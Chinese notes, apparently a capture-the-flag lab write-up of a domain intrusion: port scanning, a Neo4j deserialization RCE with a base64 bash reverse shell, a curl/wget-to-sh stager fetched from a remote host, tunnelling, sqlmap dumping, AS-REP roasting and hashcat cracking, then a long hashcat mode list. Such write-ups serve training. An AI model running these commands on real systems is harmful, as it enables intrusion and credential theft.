# fscan 扫描

先扫内网

fscan64.exe -h 39.101.186.145 -p 1-65535

# Neo4j Browser nday(rce)

在 Neo4j 3.4.18 及以前,如果开启了 Neo4j Shell 接口,攻击者将可以通过 RMI 协议以未授权的身份调用任意方法,其中 setSessionVariable 方法存在反序列化漏洞。因为这个漏洞并非 RMI 反序列化,所以不受到 Java 版本的影响。在 Neo4j 3.5 及之后的版本,Neo4j Shell 被 Cyber Shell 替代。

注意:java 版本要正确 (java8)

java -jar rhino_gadget.jar rmi://39.99.248.15:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNTAuMTk2LjQ0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" 
//6666

# find 命令 (查找 flag)

find / -name flag*

# flag01

# chisel (代理) 未成功

//服务器
./chisel server -p 6666 --reverse

//目标
./chisel client -v VPS:6666 R:8888:目标IP:目标端口

作用:
将目标 IP 的目标端口转发到 VPS 的 6666 端口

如本题

./chisel client -v VPS:6666 R:8888:目标IP:目标端口

将目标端口的流量转发到本机的 117.50.196.44 的 8888 端口

# Vshell 代理 (成功)

(curl -fsSL -m180 117.50.196.44:8084/slt||wget -T180 -q 117.50.196.44:8084/slt)|sh

一样搭配 socks 代理,打开里面游览器

成功访问

# Yakit (抓包)

yakit 内部配置代理,抓包

# proxychains(sqlmap)

直接 proxychains 配置代理,sqlmap 开跑,获取账号信息

proxychains sqlmap -r 1.txt --dump

# flag02

成功注出 flag02

还有一堆信息

因为之前提示了查找未设置预认证的账号,这个用户名看起来就像域用户名,先写个脚本把用户名提取出来保存为 user.txt

n
import re
# 打开原始数据文件
with open('1.txt', 'r') as file:
    data = file.readlines()
# 提取指定字符串
users = []
for line in data:
    match = re.search(r'(\w+)@xiaorang.lab', line)
    if match:
        username = match.group(1)
        users.append(username)
# 保存提取后的字符串到 user.txt
with open('user.txt', 'w') as file:
    for user in users:
        file.write(user + '\n')

提取得到一堆,就不展示了,去狗 and 猫博客看
### Kerberos
保存为 user.txt 然后枚举未设置预认证的账号(这个东西默认是不关闭的,但当关闭了预身份验证后,攻击者可以使用指定用户向域控制器的 Kerberos 88 端口请求票据,此时域控不会进行任何验证就将 TGT 和该用户 Hash 加密的 Login Session Key 返回。因此,攻击者就可以对获取到的用户 Hash 加密的 Login Session Key 进行离线破解,如果字典够强大,则可能破解得到该指定用户的明文密码)

proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/

# Kerberos 原理

Kerberos 基于 Ticket 实现身份认证,而非密码。如果客户端无法利用本地密钥,解密出 KDC 返回的加密 Ticket,认证将无法通过。

Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。

# hashcat

解一下

hashcat -m 18200 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

这里研究一下 hashcat -m 参数 查看哈希类型

  900 | MD4                                                        | Raw Hash
      0 | MD5                                                        | Raw Hash
    100 | SHA1                                                       | Raw Hash
   1300 | SHA2-224                                                   | Raw Hash
   1400 | SHA2-256                                                   | Raw Hash
  10800 | SHA2-384                                                   | Raw Hash
   1700 | SHA2-512                                                   | Raw Hash
  17300 | SHA3-224                                                   | Raw Hash
  17400 | SHA3-256                                                   | Raw Hash
  17500 | SHA3-384                                                   | Raw Hash
  17600 | SHA3-512                                                   | Raw Hash
   6000 | RIPEMD-160                                                 | Raw Hash
    600 | BLAKE2b-512                                                | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
  11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian           | Raw Hash
   6900 | GOST R 34.11-94                                            | Raw Hash
  17010 | GPG (AES-128/AES-256 (SHA-1($pass)))                       | Raw Hash
   5100 | Half MD5                                                   | Raw Hash
  17700 | Keccak-224                                                 | Raw Hash
  17800 | Keccak-256                                                 | Raw Hash
  17900 | Keccak-384                                                 | Raw Hash
  18000 | Keccak-512                                                 | Raw Hash
   6100 | Whirlpool                                                  | Raw Hash
  10100 | SipHash                                                    | Raw Hash
     70 | md5(utf16le($pass))                                        | Raw Hash
    170 | sha1(utf16le($pass))                                       | Raw Hash
   1470 | sha256(utf16le($pass))                                     | Raw Hash
  10870 | sha384(utf16le($pass))                                     | Raw Hash
   1770 | sha512(utf16le($pass))                                     | Raw Hash
    610 | BLAKE2b-512($pass.$salt)                                   | Raw Hash salted and/or iterated
    620 | BLAKE2b-512($salt.$pass)                                   | Raw Hash salted and/or iterated
     10 | md5($pass.$salt)                                           | Raw Hash salted and/or iterated
     20 | md5($salt.$pass)                                           | Raw Hash salted and/or iterated
   3800 | md5($salt.$pass.$salt)                                     | Raw Hash salted and/or iterated
   3710 | md5($salt.md5($pass))                                      | Raw Hash salted and/or iterated
   4110 | md5($salt.md5($pass.$salt))                                | Raw Hash salted and/or iterated
   4010 | md5($salt.md5($salt.$pass))                                | Raw Hash salted and/or iterated
  21300 | md5($salt.sha1($salt.$pass))                               | Raw Hash salted and/or iterated
     40 | md5($salt.utf16le($pass))                                  | Raw Hash salted and/or iterated
   2600 | md5(md5($pass))                                            | Raw Hash salted and/or iterated
   3910 | md5(md5($pass).md5($salt))                                 | Raw Hash salted and/or iterated
   3500 | md5(md5(md5($pass)))                                       | Raw Hash salted and/or iterated
   4400 | md5(sha1($pass))                                           | Raw Hash salted and/or iterated
   4410 | md5(sha1($pass).$salt)                                     | Raw Hash salted and/or iterated
  20900 | md5(sha1($pass).md5($pass).sha1($pass))                    | Raw Hash salted and/or iterated
  21200 | md5(sha1($salt).md5($pass))                                | Raw Hash salted and/or iterated
   4300 | md5(strtoupper(md5($pass)))                                | Raw Hash salted and/or iterated
     30 | md5(utf16le($pass).$salt)                                  | Raw Hash salted and/or iterated
    110 | sha1($pass.$salt)                                          | Raw Hash salted and/or iterated
    120 | sha1($salt.$pass)                                          | Raw Hash salted and/or iterated
   4900 | sha1($salt.$pass.$salt)                                    | Raw Hash salted and/or iterated
   4520 | sha1($salt.sha1($pass))                                    | Raw Hash salted and/or iterated
  24300 | sha1($salt.sha1($pass.$salt))                              | Raw Hash salted and/or iterated
    140 | sha1($salt.utf16le($pass))                                 | Raw Hash salted and/or iterated
  19300 | sha1($salt1.$pass.$salt2)                                  | Raw Hash salted and/or iterated
  14400 | sha1(CX)                                                   | Raw Hash salted and/or iterated
   4700 | sha1(md5($pass))                                           | Raw Hash salted and/or iterated
   4710 | sha1(md5($pass).$salt)                                     | Raw Hash salted and/or iterated
  21100 | sha1(md5($pass.$salt))                                     | Raw Hash salted and/or iterated
  18500 | sha1(md5(md5($pass)))                                      | Raw Hash salted and/or iterated
   4500 | sha1(sha1($pass))                                          | Raw Hash salted and/or iterated
   4510 | sha1(sha1($pass).$salt)                                    | Raw Hash salted and/or iterated
   5000 | sha1(sha1($salt.$pass.$salt))                              | Raw Hash salted and/or iterated
    130 | sha1(utf16le($pass).$salt)                                 | Raw Hash salted and/or iterated
   1410 | sha256($pass.$salt)                                        | Raw Hash salted and/or iterated
   1420 | sha256($salt.$pass)                                        | Raw Hash salted and/or iterated
  22300 | sha256($salt.$pass.$salt)                                  | Raw Hash salted and/or iterated
  20720 | sha256($salt.sha256($pass))                                | Raw Hash salted and/or iterated
  21420 | sha256($salt.sha256_bin($pass))                            | Raw Hash salted and/or iterated
   1440 | sha256($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  20710 | sha256(sha256($pass).$salt)                                | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
   1430 | sha256(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
  10810 | sha384($pass.$salt)                                        | Raw Hash salted and/or iterated
  10820 | sha384($salt.$pass)                                        | Raw Hash salted and/or iterated
  10840 | sha384($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
  10830 | sha384(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
   1710 | sha512($pass.$salt)                                        | Raw Hash salted and/or iterated
   1720 | sha512($salt.$pass)                                        | Raw Hash salted and/or iterated
   1740 | sha512($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
   1730 | sha512(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
     50 | HMAC-MD5 (key = $pass)                                     | Raw Hash authenticated
     60 | HMAC-MD5 (key = $salt)                                     | Raw Hash authenticated
    150 | HMAC-SHA1 (key = $pass)                                    | Raw Hash authenticated
    160 | HMAC-SHA1 (key = $salt)                                    | Raw Hash authenticated
   1450 | HMAC-SHA256 (key = $pass)                                  | Raw Hash authenticated
   1460 | HMAC-SHA256 (key = $salt)                                  | Raw Hash authenticated
   1750 | HMAC-SHA512 (key = $pass)                                  | Raw Hash authenticated
   1760 | HMAC-SHA512 (key = $salt)                                  | Raw Hash authenticated
  11750 | HMAC-Streebog-256 (key = $pass), big-endian                | Raw Hash authenticated
  11760 | HMAC-Streebog-256 (key = $salt), big-endian                | Raw Hash authenticated
  11850 | HMAC-Streebog-512 (key = $pass), big-endian                | Raw Hash authenticated
  11860 | HMAC-Streebog-512 (key = $salt), big-endian                | Raw Hash authenticated
  28700 | Amazon AWS4-HMAC-SHA256                                    | Raw Hash authenticated
  11500 | CRC32                                                      | Raw Checksum
  27900 | CRC32C                                                     | Raw Checksum
  28000 | CRC64Jones                                                 | Raw Checksum
  18700 | Java Object hashCode()                                     | Raw Checksum
  25700 | MurmurHash                                                 | Raw Checksum
  27800 | MurmurHash3                                                | Raw Checksum
  14100 | 3DES (PT = $salt, key = $pass)                             | Raw Cipher, Known-plaintext attack
  14000 | DES (PT = $salt, key = $pass)                              | Raw Cipher, Known-plaintext attack
  26401 | AES-128-ECB NOKDF (PT = $salt, key = $pass)                | Raw Cipher, Known-plaintext attack
  26402 | AES-192-ECB NOKDF (PT = $salt, key = $pass)                | Raw Cipher, Known-plaintext attack
  26403 | AES-256-ECB NOKDF (PT = $salt, key = $pass)                | Raw Cipher, Known-plaintext attack
  15400 | ChaCha20                                                   | Raw Cipher, Known-plaintext attack
  14500 | Linux Kernel Crypto API (2.4)                              | Raw Cipher, Known-plaintext attack
  14900 | Skip32 (PT = $salt, key = $pass)                           | Raw Cipher, Known-plaintext attack
  11900 | PBKDF2-HMAC-MD5                                            | Generic KDF
  12000 | PBKDF2-HMAC-SHA1                                           | Generic KDF
  10900 | PBKDF2-HMAC-SHA256                                         | Generic KDF
  12100 | PBKDF2-HMAC-SHA512                                         | Generic KDF
   8900 | scrypt                                                     | Generic KDF
    400 | phpass                                                     | Generic KDF
  16100 | TACACS+                                                    | Network Protocol
  11400 | SIP digest authentication (MD5)                            | Network Protocol
   5300 | IKE-PSK MD5                                                | Network Protocol
   5400 | IKE-PSK SHA1                                               | Network Protocol
  25100 | SNMPv3 HMAC-MD5-96                                         | Network Protocol
  25000 | SNMPv3 HMAC-MD5-96/HMAC-SHA1-96                            | Network Protocol
  25200 | SNMPv3 HMAC-SHA1-96                                        | Network Protocol
  26700 | SNMPv3 HMAC-SHA224-128                                     | Network Protocol
  26800 | SNMPv3 HMAC-SHA256-192                                     | Network Protocol
  26900 | SNMPv3 HMAC-SHA384-256                                     | Network Protocol
  27300 | SNMPv3 HMAC-SHA512-384                                     | Network Protocol
   2500 | WPA-EAPOL-PBKDF2                                           | Network Protocol
   2501 | WPA-EAPOL-PMK                                              | Network Protocol
  22000 | WPA-PBKDF2-PMKID+EAPOL                                     | Network Protocol
  22001 | WPA-PMK-PMKID+EAPOL                                        | Network Protocol
  16800 | WPA-PMKID-PBKDF2                                           | Network Protocol
  16801 | WPA-PMKID-PMK                                              | Network Protocol
   7300 | IPMI2 RAKP HMAC-SHA1                                       | Network Protocol
  10200 | CRAM-MD5                                                   | Network Protocol
  16500 | JWT (JSON Web Token)                                       | Network Protocol
  29200 | Radmin3                                                    | Network Protocol
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol
   5500 | NetNTLMv1 / NetNTLMv1+ESS                                  | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                             | Network Protocol
   5600 | NetNTLMv2                                                  | Network Protocol
  27100 | NetNTLMv2 (NT)                                             | Network Protocol
  29100 | Flask Session Cookie ($salt.$salt.$pass)                   | Network Protocol
   4800 | iSCSI CHAP authentication, MD5(CHAP)                       | Network Protocol
   8500 | RACF                                                       | Operating System
   6300 | AIX {smd5}                                                 | Operating System
   6700 | AIX {ssha1}                                                | Operating System
   6400 | AIX {ssha256}                                              | Operating System
   6500 | AIX {ssha512}                                              | Operating System
   3000 | LM                                                         | Operating System
  19000 | QNX /etc/shadow (MD5)                                      | Operating System
  19100 | QNX /etc/shadow (SHA256)                                   | Operating System
  19200 | QNX /etc/shadow (SHA512)                                   | Operating System
  15300 | DPAPI masterkey file v1 (context 1 and 2)                  | Operating System
  15310 | DPAPI masterkey file v1 (context 3)                        | Operating System
  15900 | DPAPI masterkey file v2 (context 1 and 2)                  | Operating System
  15910 | DPAPI masterkey file v2 (context 3)                        | Operating System
   7200 | GRUB 2                                                     | Operating System
  12800 | MS-AzureSync PBKDF2-HMAC-SHA256                            | Operating System
  12400 | BSDi Crypt, Extended DES                                   | Operating System
   1000 | NTLM                                                       | Operating System
   9900 | Radmin2                                                    | Operating System
   5800 | Samsung Android Password/PIN                               | Operating System
  28100 | Windows Hello PIN/Password                                 | Operating System
  13800 | Windows Phone 8+ PIN/password                              | Operating System
   2410 | Cisco-ASA MD5                                              | Operating System
   9200 | Cisco-IOS $8$ (PBKDF2-SHA256)                              | Operating System
   9300 | Cisco-IOS $9$ (scrypt)                                     | Operating System
   5700 | Cisco-IOS type 4 (SHA256)                                  | Operating System
   2400 | Cisco-PIX MD5                                              | Operating System
   8100 | Citrix NetScaler (SHA1)                                    | Operating System
  22200 | Citrix NetScaler (SHA512)                                  | Operating System
   1100 | Domain Cached Credentials (DCC), MS Cache                  | Operating System
   2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2             | Operating System
   7000 | FortiGate (FortiOS)                                        | Operating System
  26300 | FortiGate256 (FortiOS256)                                  | Operating System
    125 | ArubaOS                                                    | Operating System
    501 | Juniper IVE                                                | Operating System
     22 | Juniper NetScreen/SSG (ScreenOS)                           | Operating System
  15100 | Juniper/NetBSD sha1crypt                                   | Operating System
  26500 | iPhone passcode (UID key + System Keybag)                  | Operating System
    122 | macOS v10.4, macOS v10.5, macOS v10.6                      | Operating System
   1722 | macOS v10.7                                                | Operating System
   7100 | macOS v10.8+ (PBKDF2-SHA512)                               | Operating System
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
    500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)                  | Operating System
   1500 | descrypt, DES (Unix), Traditional DES                      | Operating System
  29000 | sha1($salt.sha1(utf16le($username).':'.utf16le($pass)))    | Operating System
   7400 | sha256crypt $5$, SHA256 (Unix)                             | Operating System
   1800 | sha512crypt $6$, SHA512 (Unix)                             | Operating System
  24600 | SQLCipher                                                  | Database Server
    131 | MSSQL (2000)                                               | Database Server
    132 | MSSQL (2005)                                               | Database Server
   1731 | MSSQL (2012, 2014)                                         | Database Server
  24100 | MongoDB ServerKey SCRAM-SHA-1                              | Database Server
  24200 | MongoDB ServerKey SCRAM-SHA-256                            | Database Server
     12 | PostgreSQL                                                 | Database Server
  11100 | PostgreSQL CRAM (MD5)                                      | Database Server
  28600 | PostgreSQL SCRAM-SHA-256                                   | Database Server
   3100 | Oracle H: Type (Oracle 7+)                                 | Database Server
    112 | Oracle S: Type (Oracle 11+)                                | Database Server
  12300 | Oracle T: Type (Oracle 12+)                                | Database Server
   7401 | MySQL $A$ (sha256crypt)                                    | Database Server
  11200 | MySQL CRAM (SHA1)                                          | Database Server
    200 | MySQL323                                                   | Database Server
    300 | MySQL4.1/MySQL5                                            | Database Server
   8000 | Sybase ASE                                                 | Database Server
   8300 | DNSSEC (NSEC3)                                             | FTP, HTTP, SMTP, LDAP Server
  25900 | KNX IP Secure - Device Authentication Code                 | FTP, HTTP, SMTP, LDAP Server
  16400 | CRAM-MD5 Dovecot                                           | FTP, HTTP, SMTP, LDAP Server
   1411 | SSHA-256(Base64), LDAP {SSHA256}                           | FTP, HTTP, SMTP, LDAP Server
   1711 | SSHA-512(Base64), LDAP {SSHA512}                           | FTP, HTTP, SMTP, LDAP Server
  24900 | Dahua Authentication MD5                                   | FTP, HTTP, SMTP, LDAP Server
  10901 | RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)                    | FTP, HTTP, SMTP, LDAP Server
  15000 | FileZilla Server >= 0.9.55                                 | FTP, HTTP, SMTP, LDAP Server
  12600 | ColdFusion 10+                                             | FTP, HTTP, SMTP, LDAP Server
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)                      | FTP, HTTP, SMTP, LDAP Server
    141 | Episerver 6.x < .NET 4                                     | FTP, HTTP, SMTP, LDAP Server
   1441 | Episerver 6.x >= .NET 4                                    | FTP, HTTP, SMTP, LDAP Server
   1421 | hMailServer                                                | FTP, HTTP, SMTP, LDAP Server
    101 | nsldap, SHA-1(Base64), Netscape LDAP SHA                   | FTP, HTTP, SMTP, LDAP Server
    111 | nsldaps, SSHA-1(Base64), Netscape LDAP SSHA                | FTP, HTTP, SMTP, LDAP Server
   7700 | SAP CODVN B (BCODE)                                        | Enterprise Application Software (EAS)
   7701 | SAP CODVN B (BCODE) from RFC_READ_TABLE                    | Enterprise Application Software (EAS)
   7800 | SAP CODVN F/G (PASSCODE)                                   | Enterprise Application Software (EAS)
   7801 | SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE               | Enterprise Application Software (EAS)
  10300 | SAP CODVN H (PWDSALTEDHASH) iSSHA-1                        | Enterprise Application Software (EAS)
    133 | PeopleSoft                                                 | Enterprise Application Software (EAS)
  13500 | PeopleSoft PS_TOKEN                                        | Enterprise Application Software (EAS)
  21500 | SolarWinds Orion                                           | Enterprise Application Software (EAS)
  21501 | SolarWinds Orion v2                                        | Enterprise Application Software (EAS)
     24 | SolarWinds Serv-U                                          | Enterprise Application Software (EAS)
   8600 | Lotus Notes/Domino 5                                       | Enterprise Application Software (EAS)
   8700 | Lotus Notes/Domino 6                                       | Enterprise Application Software (EAS)
   9100 | Lotus Notes/Domino 8                                       | Enterprise Application Software (EAS)
  26200 | OpenEdge Progress Encode                                   | Enterprise Application Software (EAS)
  20600 | Oracle Transportation Management (SHA256)                  | Enterprise Application Software (EAS)
   4711 | Huawei sha1(md5($pass).$salt)                              | Enterprise Application Software (EAS)
  20711 | AuthMe sha256                                              | Enterprise Application Software (EAS)
  22400 | AES Crypt (SHA256)                                         | Full-Disk Encryption (FDE)
  27400 | VMware VMX (PBKDF2-HMAC-SHA1 + AES-256-CBC)                | Full-Disk Encryption (FDE)
  14600 | LUKS v1 (legacy)                                           | Full-Disk Encryption (FDE)
  29541 | LUKS v1 RIPEMD-160 + AES                                   | Full-Disk Encryption (FDE)
  29542 | LUKS v1 RIPEMD-160 + Serpent                               | Full-Disk Encryption (FDE)
  29543 | LUKS v1 RIPEMD-160 + Twofish                               | Full-Disk Encryption (FDE)
  29511 | LUKS v1 SHA-1 + AES                                        | Full-Disk Encryption (FDE)
  29512 | LUKS v1 SHA-1 + Serpent                                    | Full-Disk Encryption (FDE)
  29513 | LUKS v1 SHA-1 + Twofish                                    | Full-Disk Encryption (FDE)
  29521 | LUKS v1 SHA-256 + AES                                      | Full-Disk Encryption (FDE)
  29522 | LUKS v1 SHA-256 + Serpent                                  | Full-Disk Encryption (FDE)
  29523 | LUKS v1 SHA-256 + Twofish                                  | Full-Disk Encryption (FDE)
  29531 | LUKS v1 SHA-512 + AES                                      | Full-Disk Encryption (FDE)
  29532 | LUKS v1 SHA-512 + Serpent                                  | Full-Disk Encryption (FDE)
  29533 | LUKS v1 SHA-512 + Twofish                                  | Full-Disk Encryption (FDE)
  13711 | VeraCrypt RIPEMD160 + XTS 512 bit (legacy)                 | Full-Disk Encryption (FDE)
  13712 | VeraCrypt RIPEMD160 + XTS 1024 bit (legacy)                | Full-Disk Encryption (FDE)
  13713 | VeraCrypt RIPEMD160 + XTS 1536 bit (legacy)                | Full-Disk Encryption (FDE)
  13741 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy)     | Full-Disk Encryption (FDE)
  13742 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy)    | Full-Disk Encryption (FDE)
  13743 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy)    | Full-Disk Encryption (FDE)
  29411 | VeraCrypt RIPEMD160 + XTS 512 bit                          | Full-Disk Encryption (FDE)
  29412 | VeraCrypt RIPEMD160 + XTS 1024 bit                         | Full-Disk Encryption (FDE)
  29413 | VeraCrypt RIPEMD160 + XTS 1536 bit                         | Full-Disk Encryption (FDE)
  29441 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode              | Full-Disk Encryption (FDE)
  29442 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode             | Full-Disk Encryption (FDE)
  29443 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode             | Full-Disk Encryption (FDE)
  13751 | VeraCrypt SHA256 + XTS 512 bit (legacy)                    | Full-Disk Encryption (FDE)
  13752 | VeraCrypt SHA256 + XTS 1024 bit (legacy)                   | Full-Disk Encryption (FDE)
  13753 | VeraCrypt SHA256 + XTS 1536 bit (legacy)                   | Full-Disk Encryption (FDE)
  13761 | VeraCrypt SHA256 + XTS 512 bit + boot-mode (legacy)        | Full-Disk Encryption (FDE)
  13762 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode (legacy)       | Full-Disk Encryption (FDE)
  13763 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode (legacy)       | Full-Disk Encryption (FDE)
  29451 | VeraCrypt SHA256 + XTS 512 bit                             | Full-Disk Encryption (FDE)
  29452 | VeraCrypt SHA256 + XTS 1024 bit                            | Full-Disk Encryption (FDE)
  29453 | VeraCrypt SHA256 + XTS 1536 bit                            | Full-Disk Encryption (FDE)
  29461 | VeraCrypt SHA256 + XTS 512 bit + boot-mode                 | Full-Disk Encryption (FDE)
  29462 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode                | Full-Disk Encryption (FDE)
  29463 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode                | Full-Disk Encryption (FDE)
  13721 | VeraCrypt SHA512 + XTS 512 bit (legacy)                    | Full-Disk Encryption (FDE)
  13722 | VeraCrypt SHA512 + XTS 1024 bit (legacy)                   | Full-Disk Encryption (FDE)
  13723 | VeraCrypt SHA512 + XTS 1536 bit (legacy)                   | Full-Disk Encryption (FDE)
  29421 | VeraCrypt SHA512 + XTS 512 bit                             | Full-Disk Encryption (FDE)
  29422 | VeraCrypt SHA512 + XTS 1024 bit                            | Full-Disk Encryption (FDE)
  29423 | VeraCrypt SHA512 + XTS 1536 bit                            | Full-Disk Encryption (FDE)
  13771 | VeraCrypt Streebog-512 + XTS 512 bit (legacy)              | Full-Disk Encryption (FDE)
  13772 | VeraCrypt Streebog-512 + XTS 1024 bit (legacy)             | Full-Disk Encryption (FDE)
  13773 | VeraCrypt Streebog-512 + XTS 1536 bit (legacy)             | Full-Disk Encryption (FDE)
  13781 | VeraCrypt Streebog-512 + XTS 512 bit + boot-mode (legacy)  | Full-Disk Encryption (FDE)
  13782 | VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
  13783 | VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
  29471 | VeraCrypt Streebog-512 + XTS 512 bit                       | Full-Disk Encryption (FDE)
  29472 | VeraCrypt Streebog-512 + XTS 1024 bit                      | Full-Disk Encryption (FDE)
  29473 | VeraCrypt Streebog-512 + XTS 1536 bit                      | Full-Disk Encryption (FDE)
  29481 | VeraCrypt Streebog-512 + XTS 512 bit + boot-mode           | Full-Disk Encryption (FDE)
  29482 | VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode          | Full-Disk Encryption (FDE)
  29483 | VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode          | Full-Disk Encryption (FDE)
  13731 | VeraCrypt Whirlpool + XTS 512 bit (legacy)                 | Full-Disk Encryption (FDE)
  13732 | VeraCrypt Whirlpool + XTS 1024 bit (legacy)                | Full-Disk Encryption (FDE)
  13733 | VeraCrypt Whirlpool + XTS 1536 bit (legacy)                | Full-Disk Encryption (FDE)
  29431 | VeraCrypt Whirlpool + XTS 512 bit                          | Full-Disk Encryption (FDE)
  29432 | VeraCrypt Whirlpool + XTS 1024 bit                         | Full-Disk Encryption (FDE)
  29433 | VeraCrypt Whirlpool + XTS 1536 bit                         | Full-Disk Encryption (FDE)
  23900 | BestCrypt v3 Volume Encryption                             | Full-Disk Encryption (FDE)
  16700 | FileVault 2                                                | Full-Disk Encryption (FDE)
  27500 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-128-XTS)              | Full-Disk Encryption (FDE)
  27600 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS)              | Full-Disk Encryption (FDE)
  20011 | DiskCryptor SHA512 + XTS 512 bit                           | Full-Disk Encryption (FDE)
  20012 | DiskCryptor SHA512 + XTS 1024 bit                          | Full-Disk Encryption (FDE)
  20013 | DiskCryptor SHA512 + XTS 1536 bit                          | Full-Disk Encryption (FDE)
  22100 | BitLocker                                                  | Full-Disk Encryption (FDE)
  12900 | Android FDE (Samsung DEK)                                  | Full-Disk Encryption (FDE)
   8800 | Android FDE <= 4.3                                         | Full-Disk Encryption (FDE)
  18300 | Apple File System (APFS)                                   | Full-Disk Encryption (FDE)
   6211 | TrueCrypt RIPEMD160 + XTS 512 bit (legacy)                 | Full-Disk Encryption (FDE)
   6212 | TrueCrypt RIPEMD160 + XTS 1024 bit (legacy)                | Full-Disk Encryption (FDE)
   6213 | TrueCrypt RIPEMD160 + XTS 1536 bit (legacy)                | Full-Disk Encryption (FDE)
   6241 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy)     | Full-Disk Encryption (FDE)
   6242 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy)    | Full-Disk Encryption (FDE)
   6243 | TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy)    | Full-Disk Encryption (FDE)
  29311 | TrueCrypt RIPEMD160 + XTS 512 bit                          | Full-Disk Encryption (FDE)
  29312 | TrueCrypt RIPEMD160 + XTS 1024 bit                         | Full-Disk Encryption (FDE)
  29313 | TrueCrypt RIPEMD160 + XTS 1536 bit                         | Full-Disk Encryption (FDE)
  29341 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode              | Full-Disk Encryption (FDE)
  29342 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode             | Full-Disk Encryption (FDE)
